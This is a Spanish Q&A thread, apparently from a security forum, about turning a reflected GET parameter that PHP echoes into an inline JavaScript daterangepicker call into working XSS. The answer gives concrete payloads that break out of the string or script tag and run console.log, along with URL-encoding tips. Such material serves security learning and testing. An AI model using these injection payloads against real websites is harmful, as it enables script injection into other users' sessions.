establecer nueva línea o barra a través de la URL

1

Hay una opción para establecer el intervalo de fechas a través de la barra de direcciones URL como esta

domain.tld/process/date_range:2017-04-13%7C2017-05-02

El parámetro GET se analiza en PHP como este

    ...
<?php if(isset($dateTo)): ?>
    endDate: moment("<?php echo $dateTo; ?>", "YYYY-MM-DD"),
<?php else : ?>
    ...

y esto se refleja directamente en javascript

<script>
$(document).ready(function() {

    $('#r').daterangepicker({
        startDate: moment("2017-04-01", "YYYY-MM-DD"),
        endDate: moment("2017-05-1", "YYYY-MM-DD"),
        ...

entonces estoy tratando de modificar el parámetro GET agregando

")%7D);console.log(1234);});

entonces soy capaz de obtener

<script>
$(document).ready(function() {
    $('#r').daterangepicker({
        startDate: moment("2017-04-13", "YYYY-MM-DD"),
        endDate: moment("2017-05-02")});console.log(1234);});", "YYYY-MM-DD"),
        ...

pero la línea

endDate: moment("2017-05-02")});console.log(1234);});", "YYYY-MM-DD"),

genera un error de sintaxis y luego console.log (1234) no se interpreta.

¿Cómo puedo hacer que funcione?

su proyecto interno

    
pregunta xrep 08.05.2017 - 02:00
fuente

1 respuesta

2

Tu código tiene al menos un corchete de cierre demasiado. Debe comentar correctamente los mensajes no deseados al final (con // o /* ):

        endDate: moment("2017-05-02")});console.log(1234);});", "YYYY-MM-DD"),
                                                             |---------------|

Pero en su ejemplo, la carga útil XSS más sencilla sería:

",console.log(1234),"

En lugar de agregar una declaración adicional, esto inyecta console.log como una expresión.

Si no quieres meterte con la sintaxis de Javascript (y los paréntesis están permitidos), también puedes cerrar el bloque de script y abrir una nueva etiqueta, como por ejemplo:

</script><svg/onload=console.log(1234)>

Esto funciona porque el error de sintaxis que está produciendo en el script anterior no bloquea la ejecución de otros scripts independientes en el sitio.

(Las barras inclinadas pueden estar codificadas en URL como %2f y los caracteres de nueva línea como %0a o %0d%0a , respectivamente.)

    
respondido por el Arminius 08.05.2017 - 02:40
fuente

Lea otras preguntas en las etiquetas